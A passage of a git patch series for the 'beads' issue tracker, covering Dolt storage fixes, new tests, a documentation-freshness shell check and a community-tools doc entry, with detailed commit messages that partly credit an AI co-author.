config.GetString("dolt.max-conns") != "" { + t.Fatal("global viper unexpectedly configured; this subtest's premise is broken") + } + t.Setenv("BEADS_DOLT_POOL_READ_TIMEOUT", "") + t.Setenv("BEADS_DOLT_POOL_WRITE_TIMEOUT", "") + t.Setenv("BEADS_DOLT_MAX_CONNS", "") + beadsDir := t.TempDir() + writeConfigYAML(t, beadsDir, "dolt:\n pool-read-timeout: 120s\n pool-write-timeout: 45\n max-conns: 25\n") + cfg := &Config{} + + if err := applyResolvedConfig(context.Background(), beadsDir, ladderFileCfg(), cfg); err != nil { + t.Fatalf("applyResolvedConfig: %v", err) + } + + if cfg.PoolReadTimeout != 120*time.Second { + t.Fatalf("PoolReadTimeout = %v, want 120s from config.yaml", cfg.PoolReadTimeout) + } + if cfg.PoolWriteTimeout != 45*time.Second { + t.Fatalf("PoolWriteTimeout = %v, want 45s from config.yaml (bare number = seconds)", cfg.PoolWriteTimeout) + } + if cfg.MaxOpenConns != 25 { + t.Fatalf("MaxOpenConns = %d, want 25 from config.yaml", cfg.MaxOpenConns) + } + }) + + t.Run("env var wins over config.yaml for pool deadlines", func(t *testing.T) { + t.Setenv("BEADS_DOLT_POOL_READ_TIMEOUT", "90s") + t.Setenv("BEADS_DOLT_POOL_WRITE_TIMEOUT", "") + beadsDir := t.TempDir() + writeConfigYAML(t, beadsDir, "dolt:\n pool-read-timeout: 120s\n") + cfg := &Config{} + + if err := applyResolvedConfig(context.Background(), beadsDir, ladderFileCfg(), cfg); err != nil { + t.Fatalf("applyResolvedConfig: %v", err) + } + + if cfg.PoolReadTimeout != 90*time.Second { + t.Fatalf("PoolReadTimeout = %v, want the env's 90s over the file's 120s", cfg.PoolReadTimeout) + } + }) + + t.Run("no config.yaml leaves the pool deadlines unset", func(t *testing.T) { + t.Setenv("BEADS_DOLT_POOL_READ_TIMEOUT", "") + t.Setenv("BEADS_DOLT_POOL_WRITE_TIMEOUT", "") + cfg := &Config{} + + if err := applyResolvedConfig(context.Background(), t.TempDir(), ladderFileCfg(), cfg); err != nil { + t.Fatalf("applyResolvedConfig: %v", err) + } + + if cfg.PoolReadTimeout != 0 || cfg.PoolWriteTimeout != 0 { + t.Fatalf("pool deadlines = %v/%v, want 0/0 so buildServerDSN applies its default", cfg.PoolReadTimeout, cfg.PoolWriteTimeout) + } + }) + t.Run("fills server config for legacy metadata without dolt_mode", func(t *testing.T) { beadsDir := t.TempDir() fileCfg := &configfile.Config{ From 00846a0c14c76acff8363c3fd81a7f8a60eaf2b3 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 19:04:25 -0700 Subject: [PATCH 129/624] fix(schema): pin aux-rekey digest datetime rendering to DATE_FORMAT instead of bare CAST(x AS CHAR) (#6649) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(schema): red — pin aux row id digest to DATE_FORMAT rendering (be-qpotl) Update the frozen digest column expectations (schema.expectCommentsSelect, dolt.derivedIDDigestColumns) from CAST(x AS CHAR) to DATE_FORMAT(x, '%Y-%m-%d %H:%i:%s'), matching issueops.AuxTimeLayout explicitly instead of relying on CAST's engine-default rendering, which today happens to match but isn't a pinned contract. Adds TestAuxTimeDateFormatMatchesGoRendering, pinning that DATE_FORMAT and issueops.FormatAuxTime render identically for a fixed instant against a real stored DATETIME(0) column. Also fixes assertTableIDsContentDerived's field count: it counted commas in the columns string, which over-counts once a column expression itself contains one (DATE_FORMAT's format-string argument does). Derives the count from rows.Columns() instead, which is robust to that and was needed to get this test file to a clean, genuine pass/fail signal. RED: the schema package's TestRekeyAuxRowTable* tests now fail against production code, which still issues the old CAST(x AS CHAR) text — expected; rekeyAuxRowTable (internal/storage/schema/aux_row_id_backfill.go) is not yet touched. * feat: green — Pin aux-rekey digest datetime rendering: DATE_FORMAT instead of bare CAST(x AS CHAR) (refs be-qpotl) Two-part fix, both required for the RED tests to pass: 1. auxRekeyTables: replace all 4 CAST(x AS CHAR) occurrences with DATE_FORMAT(x, '%Y-%m-%d %H:%i:%s'), pinning the SQL-side datetime rendering to match issueops.AuxTimeLayout/FormatAuxTime explicitly instead of relying on CAST's engine-default rendering. 2. rekeyAuxRowTable: fix nFields := strings.Count(t.columns, ",") + 1, the same naive comma-counting bug the test helper had. Every one of the 4 DATE_FORMAT substitutions introduces one internal comma, which the old count over-counted as an extra top-level field. Now derives the field count from rows.Columns() instead, matching the fix already applied to assertTableIDsContentDerived in internal/storage/dolt/derived_id_insert_test.go. No other files touched; rowid.Digest/rowid.New and which columns participate in the digest are unchanged. * fix(issueops,dolt): re-anchor AuxTimeLayout doc to DATE_FORMAT and co-assert CAST Maintainer review fixup for #6649. Both items are minor/non-gating findings from the review (synthesis and scorecard both decided approve); they are taken here because each is a nearby, cheap, low-risk edit. internal/storage/issueops/derivedid.go: AuxTimeLayout's doc comment still anchored the frozen layout to "exactly as Dolt renders CAST(created_at AS CHAR)" — the engine-default dependency this PR exists to remove — so the two halves of one frozen contract cited different SQL expressions. The statement was true, but it re-planted the abandoned anchor on the one Go-side constant the derivation actually hangs on, inviting a future maintainer to re-pin against CAST. Re-anchor it to DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s'), cross-reference TestAuxTimeDateFormatMatchesGoRendering the way the schema-side comment now does, and demote CAST to a historical aside. internal/storage/dolt/derived_id_insert_test.go: the new test's doc comment cited DATE_FORMAT/CAST equivalence as the reason the change is safe, but the assertion only covered DATE_FORMAT == FormatAuxTime. Project CAST(created_at AS CHAR) alongside it and assert both against goRendered — one extra column, and it settles the reviewer's zero-date residual empirically rather than by a reachability argument. The equivalence is deliberately not load-bearing: the Go layout remains the anchor, so a future Dolt change to either expression turns this test red instead of silently forking the id space. Validated against a real dolt-sql-server (not skipped): TestAuxTimeDateFormatMatchesGoRendering and TestInsertTimeIDsMatchBackfillDerivation both PASS; mutating the co-asserted projection to a date-only rendering fails the new assertion alone, proving it is not vacuous. internal/storage/schema rekey/drift sqlmock tests and internal/storage/issueops stay green. Co-Authored-By: Claude Opus 5 * test(issueops): exempt DeleteWispAuxRowsInTx from the version-mint guard Base repair, not part of this PR's subject. main is red at 566c84ba8: TestEveryBeadMutatorMintsOrIsExempt fails with exported function "DeleteWispAuxRowsInTx" writes a work-bead table but mints no version ... and is not exempted This is a semantic collision between two independently-green commits: #6627 (3ba08dba1, 20:58Z) added the exported wisp aux-row cascade helper and registered it in journalExemptions, and #6650 (da6263374, 21:48Z) added the structural version-mint detector that now flags it. Neither PR's own CI could see the other. The exemption is forced by the existing convention rather than a new ruling: DeleteWispAuxRowsInTx is called one line after the already-exempt DeleteWispFromDependenciesInTx in deleteIssueRowInTx, does the same delete-family cleanup of subordinate rows owned by a wisp that is being deleted, and has no surviving row to version. The delete itself is journalled by RecordDeleteInTx in the same transaction. Carried here because every PR rebased onto current main inherits the red. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- .../storage/dolt/derived_id_insert_test.go | 82 ++++++++++++++++++- internal/storage/issueops/derivedid.go | 13 ++- .../issueops/version_completeness_test.go | 1 + .../storage/schema/aux_row_id_backfill.go | 27 ++++-- .../schema/aux_row_id_backfill_test.go | 2 +- 5 files changed, 111 insertions(+), 14 deletions(-) diff --git a/internal/storage/dolt/derived_id_insert_test.go b/internal/storage/dolt/derived_id_insert_test.go index f7a44f458..1e814ab2f 100644 --- a/internal/storage/dolt/derived_id_insert_test.go +++ b/internal/storage/dolt/derived_id_insert_test.go @@ -4,8 +4,8 @@ import ( "context" "database/sql" "sort" - "strings" "testing" + "time" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/storage/rowid" @@ -18,8 +18,8 @@ import ( // frozen lists, the recomputation below stops matching the stored ids and // these tests fail. var derivedIDDigestColumns = map[string]string{ - "events": "issue_id, event_type, actor, old_value, new_value, comment, CAST(created_at AS CHAR)", - "comments": "issue_id, author, text, CAST(created_at AS CHAR)", + "events": "issue_id, event_type, actor, old_value, new_value, comment, DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s')", + "comments": "issue_id, author, text, DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s')", } // assertTableIDsContentDerived scans every row of table, recomputes the @@ -38,7 +38,15 @@ func assertTableIDsContentDerived(ctx context.Context, t *testing.T, db *sql.DB, } defer rows.Close() - nFields := strings.Count(columns, ",") + 1 + // Derive the field count from the driver's own column list rather than + // counting commas in the columns string: a column expression can contain + // an internal comma (e.g. DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s')), + // which a naive strings.Count over-counts as an extra top-level field. + colNames, err := rows.Columns() + if err != nil { + t.Fatalf("columns %s: %v", table, err) + } + nFields := len(colNames) - 1 groups := make(map[string][]string) for rows.Next() { var id string @@ -112,6 +120,72 @@ func TestInsertTimeIDsMatchBackfillDerivation(t *testing.T) { assertTableIDsContentDerived(ctx, t, store.db, "comments") } +// TestAuxTimeDateFormatMatchesGoRendering pins the SQL-side rendering the aux +// row id derivation depends on: DATE_FORMAT(x, '%Y-%m-%d %H:%i:%s') against a +// stored DATETIME(0) value must render byte-identically to +// issueops.FormatAuxTime, the Go-side stamp every insert site binds and every +// digest is computed from (see derivedIDDigestColumns above and auxRekeyTables +// in internal/storage/schema, which both render created_at this way to +// re-derive ids for rows that predate the insert-time derivation). +// +// The two sides render identically today because DATE_FORMAT with this exact +// format string reproduces what CAST(x AS CHAR) happens to render for a +// DATETIME(0) column — but CAST's rendering is an engine default, not a pinned +// contract, and nothing stops a future Dolt version from changing it. Pinning +// the SQL side to DATE_FORMAT with this literal format removes that +// dependency; this test is what catches it if the two ever drift, before it +// silently forks the id space the backfill converged. +// +// CAST is co-asserted below rather than argued about: it is no longer part of +// any derivation, but pinning it here proves the switch left the rendering of an +// already-converged row untouched, and it is the cheapest way to settle that no +// storable value renders differently under the two expressions. +func TestAuxTimeDateFormatMatchesGoRendering(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + issue := &types.Issue{ + Title: "date_format fixture", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + } + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("CreateIssue: %v", err) + } + + instant := time.Date(2026, 7, 29, 10, 0, 0, 0, time.UTC) + goRendered := issueops.FormatAuxTime(instant) + + evt := issueops.AuxEvent{ + IssueID: issue.ID, + EventType: types.EventCommented, + Actor: "tester", + Comment: sql.NullString{String: "date_format probe", Valid: true}, + CreatedAt: goRendered, + } + if err := issueops.InsertDerivedEvent(ctx, store.db, "events", evt); err != nil { + t.Fatalf("InsertDerivedEvent: %v", err) + } + + var sqlRendered, castRendered string + if err := store.db.QueryRowContext(ctx, + "SELECT DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s'), CAST(created_at AS CHAR) FROM events WHERE issue_id = ? AND comment = 'date_format probe'", + issue.ID).Scan(&sqlRendered, &castRendered); err != nil { + t.Fatalf("DATE_FORMAT read-back: %v", err) + } + + if sqlRendered != goRendered { + t.Errorf("DATE_FORMAT(created_at, ...) = %q, want issueops.FormatAuxTime rendering %q", sqlRendered, goRendered) + } + if castRendered != goRendered { + t.Errorf("CAST(created_at AS CHAR) = %q, want issueops.FormatAuxTime rendering %q (the rendering this derivation abandoned CAST for must still agree for already-converged rows)", castRendered, goRendered) + } +} + // TestDerivedEventOrdinalsPreserveLocalDuplicates pins the ordinal // discipline: the same logical event recorded twice in the same second stays // two rows, on ordinals 0 and 1 of the same digest — multiplicity within a diff --git a/internal/storage/issueops/derivedid.go b/internal/storage/issueops/derivedid.go index a88a2e16f..a3922daea 100644 --- a/internal/storage/issueops/derivedid.go +++ b/internal/storage/issueops/derivedid.go @@ -27,8 +27,17 @@ import ( // what is stored is byte-for-byte what was digested. // AuxTimeLayout renders a UTC timestamp exactly as Dolt renders -// CAST(created_at AS CHAR) for a DATETIME(0) column. It is part of the id -// derivation and frozen with the column lists. +// DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s') for a DATETIME(0) column — the +// rendering the digest column lists pin explicitly server-side (see +// auxRekeyTables in internal/storage/schema), asserted byte-for-byte against +// this layout by TestAuxTimeDateFormatMatchesGoRendering in +// internal/storage/dolt. It is part of the id derivation and frozen with the +// column lists. +// +// Historically the SQL side read these columns back as CAST(created_at AS CHAR), +// which renders identically for a DATETIME(0) column — but that equality was an +// engine default rather than a pinned contract, which is why the derivation no +// longer names CAST. const AuxTimeLayout = "2006-01-02 15:04:05" // NowAuxTime returns the current UTC time in AuxTimeLayout. diff --git a/internal/storage/issueops/version_completeness_test.go b/internal/storage/issueops/version_completeness_test.go index 018e6a136..e7d265b11 100644 --- a/internal/storage/issueops/version_completeness_test.go +++ b/internal/storage/issueops/version_completeness_test.go @@ -182,6 +182,7 @@ var versionExemptions = map[string]string{ "DeleteIssuesBySourceRepoInTx": "bulk delete: no surviving row (Phase 3)", "DeleteWispFromDependenciesInTx": "delete-family cleanup of edges whose target is gone", "DeleteWispsFromDependenciesInTx": "delete-family cleanup of edges whose target is gone", + "DeleteWispAuxRowsInTx": "delete-family cleanup of aux rows whose owning wisp is gone", // rename — history stays keyed to the old id; out of contract by design. "UpdateIssueIDInTx": "rename: out of contract by design (history stays keyed to the old id)", diff --git a/internal/storage/schema/aux_row_id_backfill.go b/internal/storage/schema/aux_row_id_backfill.go index 07357bd0c..0427e61e7 100644 --- a/internal/storage/schema/aux_row_id_backfill.go +++ b/internal/storage/schema/aux_row_id_backfill.go @@ -268,8 +268,11 @@ func clearAuxRekeyDrifted(ctx context.Context, db DBConn) error { // auxRekeyTable describes one table covered by the re-key. columns is the // frozen SELECT list of every non-id column, in creation order, with datetime -// columns CAST to CHAR server-side so the scanned text is identical across -// drivers and connection settings. +// columns rendered via DATE_FORMAT(x, '%Y-%m-%d %H:%i:%s') server-side so the +// scanned text matches issueops.AuxTimeLayout — the Go-side stamp every +// insert-time row binds — byte-for-byte, rather than depending on +// CAST(x AS CHAR)'s engine-default rendering (see +// TestAuxTimeDateFormatMatchesGoRendering in internal/storage/dolt). // // These lists are part of the id derivation and are FROZEN: they must keep // naming exactly the columns the tables had when this backfill shipped, even @@ -290,19 +293,19 @@ type auxRekeyTable struct { var auxRekeyTables = []auxRekeyTable{ { name: "events", - columns: "issue_id, event_type, actor, old_value, new_value, comment, CAST(created_at AS CHAR)", + columns: "issue_id, event_type, actor, old_value, new_value, comment, DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s')", }, { name: "comments", - columns: "issue_id, author, text, CAST(created_at AS CHAR)", + columns: "issue_id, author, text, DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s')", }, { name: "issue_snapshots", - columns: "issue_id, CAST(snapshot_time AS CHAR), compaction_level, original_size, compressed_size, original_content, archived_events", + columns: "issue_id, DATE_FORMAT(snapshot_time, '%Y-%m-%d %H:%i:%s'), compaction_level, original_size, compressed_size, original_content, archived_events", }, { name: "compaction_snapshots", - columns: "issue_id, compaction_level, snapshot_json, CAST(created_at AS CHAR)", + columns: "issue_id, compaction_level, snapshot_json, DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s')", }, } @@ -572,7 +575,17 @@ func rekeyAuxRowTable(ctx context.Context, db DBConn, t auxRekeyTable) (bool, er if err != nil { return false, err } - nFields := strings.Count(t.columns, ",") + 1 + // Derive the field count from the driver's own column list rather than + // counting commas in t.columns: a column expression can contain an + // internal comma (DATE_FORMAT(x, '%Y-%m-%d %H:%i:%s')'s format-string + // argument), which a naive strings.Count over-counts as an extra + // top-level field. + colNames, err := rows.Columns() + if err != nil { + _ = rows.Close() + return false, err + } + nFields := len(colNames) - 1 groups := make(map[string][]string) for rows.Next() { var id string diff --git a/internal/storage/schema/aux_row_id_backfill_test.go b/internal/storage/schema/aux_row_id_backfill_test.go index 7f6de318d..52f501368 100644 --- a/internal/storage/schema/aux_row_id_backfill_test.go +++ b/internal/storage/schema/aux_row_id_backfill_test.go @@ -22,7 +22,7 @@ func commentDigest(issueID, author, text, createdAt string) string { func expectCommentsSelect(mock sqlmock.Sqlmock) *sqlmock.ExpectedQuery { return mock.ExpectQuery(regexp.QuoteMeta( - "SELECT id, issue_id, author, text, CAST(created_at AS CHAR) FROM comments")) + "SELECT id, issue_id, author, text, DATE_FORMAT(created_at, '%Y-%m-%d %H:%i:%s') FROM comments")) } // TestRekeyAuxRowTableConvergesRandomIDs verifies the core convergence: rows From e6f739bc94d13afd35edce1e8ebf0e6c14c3963a Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 19:07:06 -0700 Subject: [PATCH 130/624] =?UTF-8?q?feat:=20green=20=E2=80=94=20Salvage=20f?= =?UTF-8?q?rom=20closed=20PR=20#5925:=20replace=20stale=20server=5Fmode=20?= =?UTF-8?q?TODO=20comment=20in=20dolt=20store.go=20(refs=20be-ayur5)=20(#6?= =?UTF-8?q?481)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- internal/storage/dolt/store.go | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index c3e3a06a5..601355e5b 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1015,7 +1015,11 @@ func (s *DoltStore) doltSpanAttrs() []attribute.KeyValue { s.spanAttrsCache = []attribute.KeyValue{ attribute.String("db.system", "dolt"), attribute.Bool("db.readonly", s.readOnly), - attribute.Bool("db.server_mode", true), // TODO: update when embedded mode returns + // DoltStore (this package) is always server-mode. The split from + // embedded mode is permanent, not pending; see + // internal/storage/embeddeddolt for the separate embedded-mode + // implementation used by solo/standalone deployments. + attribute.Bool("db.server_mode", true), } }) return s.spanAttrsCache From 0bf13494f0a7674a77404dd80b15678c6bebe9b9 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 19:08:55 -0700 Subject: [PATCH 131/624] fix(scripts): check-doc-freshness.sh fails on duplicate Last-reviewed markers (#6482) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — check-doc-freshness.sh: fail when a file has more than one 'Last reviewed:' marker line (refs be-g7tqg) * feat: green — check-doc-freshness.sh: fail when a file has more than one 'Last reviewed:' marker line (refs be-g7tqg) --- scripts/check-doc-freshness.sh | 8 ++- scripts/check_doc_freshness_test.go | 76 ++++++++++++++++++++++++++++- 2 files changed, 81 insertions(+), 3 deletions(-) diff --git a/scripts/check-doc-freshness.sh b/scripts/check-doc-freshness.sh index 3425d8521..7802013de 100755 --- a/scripts/check-doc-freshness.sh +++ b/scripts/check-doc-freshness.sh @@ -186,11 +186,15 @@ for entry in "${DOCS[@]}"; do echo "PASS: listed in engdocs/DOC_INVENTORY.md" fi - reviewed_line="$(grep -E -m1 '^Last reviewed: [0-9]{4}-[0-9]{2}-[0-9]{2}$' "$doc_path" || true)" - if [[ -z "$reviewed_line" ]]; then + reviewed_count="$(grep -Ec '^Last reviewed: [0-9]{4}-[0-9]{2}-[0-9]{2}$' "$doc_path" || true)" + if [[ "$reviewed_count" -eq 0 ]]; then echo "FAIL: missing Last reviewed marker in YYYY-MM-DD format" ERRORS=$((ERRORS + 1)) + elif [[ "$reviewed_count" -gt 1 ]]; then + echo "FAIL: found $reviewed_count Last reviewed markers; expected exactly one" + ERRORS=$((ERRORS + 1)) else + reviewed_line="$(grep -E -m1 '^Last reviewed: [0-9]{4}-[0-9]{2}-[0-9]{2}$' "$doc_path")" reviewed="${reviewed_line#Last reviewed: }" if ! age_days="$(date_age_days "$reviewed" 2>/dev/null)"; then echo "FAIL: invalid Last reviewed date: $reviewed" diff --git a/scripts/check_doc_freshness_test.go b/scripts/check_doc_freshness_test.go index 9d4c1847a..0bb5a79d8 100644 --- a/scripts/check_doc_freshness_test.go +++ b/scripts/check_doc_freshness_test.go @@ -360,6 +360,30 @@ func TestDocFreshnessReportsInvalidTodayOverride(t *testing.T) { } } +func TestDocFreshnessRejectsMultipleLastReviewedMarkers(t *testing.T) { + tests := []struct { + name string + dates []string + }{ + {name: "two markers both fresh", dates: []string{"2026-01-10", "2026-01-12"}}, + {name: "two markers one stale", dates: []string{"2026-01-15", "2020-01-01"}}, + {name: "three markers", dates: []string{"2026-01-15", "2026-01-16", "2026-01-17"}}, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + run := runDocFreshnessWithDuplicateMarker(t, "docs/reference/configuration.md", test.dates, "2026-01-31", "90") + if exitCode(run.err) != 1 { + t.Fatalf("exit = %d, want 1; error=%v\n%s", exitCode(run.err), run.err, run.output) + } + want := fmt.Sprintf("FAIL: found %d Last reviewed markers; expected exactly one", len(test.dates)) + if !strings.Contains(run.output, want) { + t.Fatalf("missing %q:\n%s", want, run.output) + } + }) + } +} + func runDocFreshness(t *testing.T, reviewed, today, maxAge string) freshnessRun { t.Helper() return runDocFreshnessWithDateFunction(t, reviewed, today, &maxAge, "") @@ -380,11 +404,22 @@ func runDocFreshnessWithDefaultToday(t *testing.T, reviewed, maxAge, dateFunctio return runDocFreshnessProcess(t, reviewed, nil, &maxAge, dateFunction) } +func runDocFreshnessWithDuplicateMarker(t *testing.T, targetPath string, targetReviewedDates []string, today, maxAge string) freshnessRun { + t.Helper() + root := newDocFreshnessFixtureWithMarkers(t, "2026-01-15", targetPath, targetReviewedDates) + return runDocFreshnessProcessInRoot(t, root, &today, &maxAge, "") +} + func runDocFreshnessProcess(t *testing.T, reviewed string, today, maxAge *string, dateFunction string) freshnessRun { + t.Helper() + root := newDocFreshnessFixture(t, reviewed) + return runDocFreshnessProcessInRoot(t, root, today, maxAge, dateFunction) +} + +func runDocFreshnessProcessInRoot(t *testing.T, root string, today, maxAge *string, dateFunction string) freshnessRun { t.Helper() bash := docFreshnessBash(t) - root := newDocFreshnessFixture(t, reviewed) markerDir := t.TempDir() pythonMarker := filepath.Join(markerDir, "python-invoked") dateMarker := filepath.Join(markerDir, "date-invoked") @@ -524,6 +559,45 @@ func newDocFreshnessFixture(t *testing.T, reviewed string) string { return root } +// newDocFreshnessFixtureWithMarkers is like newDocFreshnessFixture, but the +// document at targetPath gets one "Last reviewed:" line per entry in +// targetReviewedDates instead of exactly one. Every other document keeps the +// normal single marker at reviewed. +func newDocFreshnessFixtureWithMarkers(t *testing.T, reviewed, targetPath string, targetReviewedDates []string) string { + t.Helper() + + root := t.TempDir() + repoRoot := sourceRepoRoot(t) + script, err := os.ReadFile(filepath.Join(repoRoot, "scripts", "check-doc-freshness.sh")) + if err != nil { + t.Fatalf("read check-doc-freshness.sh: %v", err) + } + writeFixtureFile(t, root, "scripts/check-doc-freshness.sh", string(script)) + + var inventory strings.Builder + for _, document := range freshnessDocuments { + inventoryRef := strings.TrimPrefix(strings.TrimPrefix(document.path, "docs/"), "engdocs/") + fmt.Fprintf(&inventory, "- `%s`\n", inventoryRef) + + var body strings.Builder + reviewedDates := []string{reviewed} + if document.path == targetPath { + reviewedDates = targetReviewedDates + } + for _, date := range reviewedDates { + fmt.Fprintf(&body, "Last reviewed: %s\n", date) + } + fmt.Fprintf(&body, "Freshness source: %s\n", strings.Join(document.sources, ";")) + writeFixtureFile(t, root, document.path, body.String()) + + for _, source := range document.sources { + createFreshnessSource(t, root, source) + } + } + writeFixtureFile(t, root, "engdocs/DOC_INVENTORY.md", inventory.String()) + return root +} + func createFreshnessSource(t *testing.T, root, source string) { t.Helper() From 511849496b33b607d60489962382d0bc781a50b4 Mon Sep 17 00:00:00 2001 From: Julian Sommer <115516918+juliansommer@users.noreply.github.com> Date: Sun, 27 Sep 2026 12:12:59 +1000 Subject: [PATCH 132/624] docs: add Maggie to community tools (#6446) --- docs/community-tools.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/community-tools.md b/docs/community-tools.md index 0c608dbb5..271411770 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -30,6 +30,8 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[Bead Me Up, Scotty](https://github.com/brendan-appstart/bead-me-up-scotty)** - Polished multi-project web UI for creating, updating, and prioritizing beads across all your repos from one place. Kanban board with drag-and-drop status changes and reordering, plus list, epics (with progress bars), and dependency-graph views; faceted filtering and full-text search; live updates via SSE that react the moment `.beads/` changes; and human-vs-agent attribution throughout. Uses the `bd` CLI for full Dolt compatibility. Global install (`scotty`) opens the current directory's project in your browser, and a built-in Publish view generates a shareable static showcase site from your beads. Live demo at [beadmeupscotty.com](https://beadmeupscotty.com). Built by [@brendan-appstart](https://github.com/brendan-appstart). (Next.js/TypeScript) +- **[Maggie](https://github.com/mulgadc/maggie)** - Single Go binary with the SPA embedded, serving dashboard, table, board and dependency graph views. Text, id glob, priority, type, assignee, label and status filters compose in one filter bar. Uses the `bd` CLI for every read and write, keeping no store of its own. Runs from a container that bundles `bd` and `dolt`, against either a local `.beads/` directory or a shared Dolt SQL server. Built by [@mulgadc](https://github.com/mulgadc). (Go/React) + ## Editor Extensions - **[vscode-beads](https://marketplace.visualstudio.com/items?itemName=planet57.vscode-beads)** - VS Code extension with issues panel and server management. Built by [@jdillon](https://github.com/jdillon). (TypeScript) From 1ed5b3330375de39d8f7a9d55950e5176d35fa1a Mon Sep 17 00:00:00 2001 From: Alex Date: Sun, 27 Sep 2026 00:56:42 -0700 Subject: [PATCH 133/624] fix(dolt): recheck dependents' blocked state after a close commits (#6719) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): recheck dependents' blocked state after a close commits (be-cmn) A close recomputes its dependents' is_blocked inside its own transaction, against that transaction's start snapshot. Two concurrent closes of sibling blockers each see the other blocker still open, so neither writes the shared dependent's row; both commit without a conflicting cell, and the dependent stays is_blocked=1 and hidden from `bd ready` until `bd recompute-blocked`. The in-transaction close and status-change paths now record the dependents they recomputed (never the closed issue itself) in a transaction-scoped note, the same shape as the events-journal scope. The store's write-transaction runners take that note once the transaction has committed and, only when it is non-empty, run one more short retried transaction that recomputes exactly those ids on a fresh snapshot. The recheck runs after the retry loop around the write, so a recheck failure is reported as "write committed; blocked-state recheck failed" and never replays a write that already landed. When the recheck changes an issues row it mints a Dolt commit naming the closed issue, so the corrected flag reaches history like the close's own rows instead of sitting dirty in the working set. A close with no dependents records nothing and issues no extra SQL. This covers every DoltStore write path, including the lifecycle and batch closers the CLI uses, and the embedded store's withConn. The RunInTransaction path (doltTransaction.CloseIssue) keeps its pinned-connection commit and is not scoped; nothing on the CLI's close or update path reaches a close through it. Fixes #6716 Co-Authored-By: Claude Fable 5.1 * fix(dolt): recheck blocked state after dependency removals and deletes too (be-cmn) Only a close and an update to an inactive status recorded a post-commit blocked recheck. A dependency removal and the three delete paths run the same in-transaction recompute, can likewise only unblock a dependent, and so reproduce gastownhall/beads#6716 when they commit last: a `bd close A` overlapping a `bd dep remove C B` (or a delete of B) leaves C blocked on every committed snapshot with no recheck to settle it. Generalize the recording so each unblocking write records the dependents it recomputed: noteBlockedRecheck now takes a human label for the recheck commit message and an explicit exclusion set. A close or status update excludes its own row (a concurrent writer conflicts on it rather than racing past it); a delete excludes the rows that no longer exist; a dependency removal excludes nothing, because its dependent is exactly the row that needs rechecking. Labels stay bounded: a bulk delete of more than three ids is named by count. The close path's commit message, "bd: recheck blocked after close of ", is unchanged, and a close through update mints the same message as a close through CloseIssue. The server tier gains the close-versus-dependency-removal race and a check that a delete records the deleted row's dependents; the embedded tier pins the recording contract for a close, a removal and a delete on a real engine; the issueops unit test pins deduplication, exclusion and the labels. Co-Authored-By: Claude Fable 5.1 * fix(dolt): name a committed write's recheck failure with a sentinel (be-cmn) A recheck failure reaches the caller as an error from the same store call that just committed its write, indistinguishable from a write that never landed. Add issueops.ErrBlockedRecheckFailed and wrap both stores' recheck failures with it, keeping the underlying cause reachable through a second %w, so a caller can errors.Is a committed-but-unrechecked write apart from an uncommitted one. The stale flag it leaves is the one bd doctor and bd recompute-blocked already repair. The CLI's exit-code treatment is a separate follow-up; this is the storage layer only. Correct the embedded store's comment, which claimed two withConn callers in one process overlap as two server sessions do. They do not: commitConn opens a fresh OpenSQL handle per transaction and OpenSQL waits, with no elapsed-time limit, for the engine, so a second handle blocks until the first is cleaned up. Embedded transactions serialize and the skew of gastownhall/beads#6716 cannot occur there; the recheck stays so the embedded store honors the same contract as the server store and runs after the first handle's cleanup, so it cannot deadlock on itself. Document that the recheck scope is keyed by the DBTX interface value: a write records into it only when the very *sql.Tx the store scoped reaches it, and a future DBTX wrapper would silently record nothing, the same shape as the events-journal scope. Co-Authored-By: Claude Fable 5.1 * docs(issueops): state the blocked recheck's scope precisely (be-cmn) The recorded writes are the ones that take a blocker away, not writes that "can only unblock": removing the one closed child of an any-children gate blocks its waiter, and the recheck, being a full recompute, settles that too. Name the writes that add a blocker (reopen, dependency add, parent-child add) as recomputing the same way without a recheck, so the remaining gap is written down where the mechanism is. The exclude list filters one call's ids only; say so, and that a stale pending id for a row a later write deleted is a harmless no-op. Co-Authored-By: Claude Fable 5.1 * fix(dolt): keep a failed blocked recheck out of the caller, and scope the coverage claim Maintainer fixup for the adoption review of #6719 (fixes gastownhall/beads#6716). Three review majors, plus the cheap non-gating cleanups that sit next to them. The contributor's commits are left exactly as authored. 1. A post-commit recheck failure no longer reaches the caller of a committed write. ErrBlockedRecheckFailed had no consumer, so every store-facing caller — CLI, HTTP, the batch closers — still read it as "the write did not land" and would retry an applied mutation: the double-apply inversion internal/storage/dolt/issue_operations_tx.go documents. The stores now wrap the failure with the sentinel and log it. What it leaves behind is the stale is_blocked flag `bd doctor` and `bd 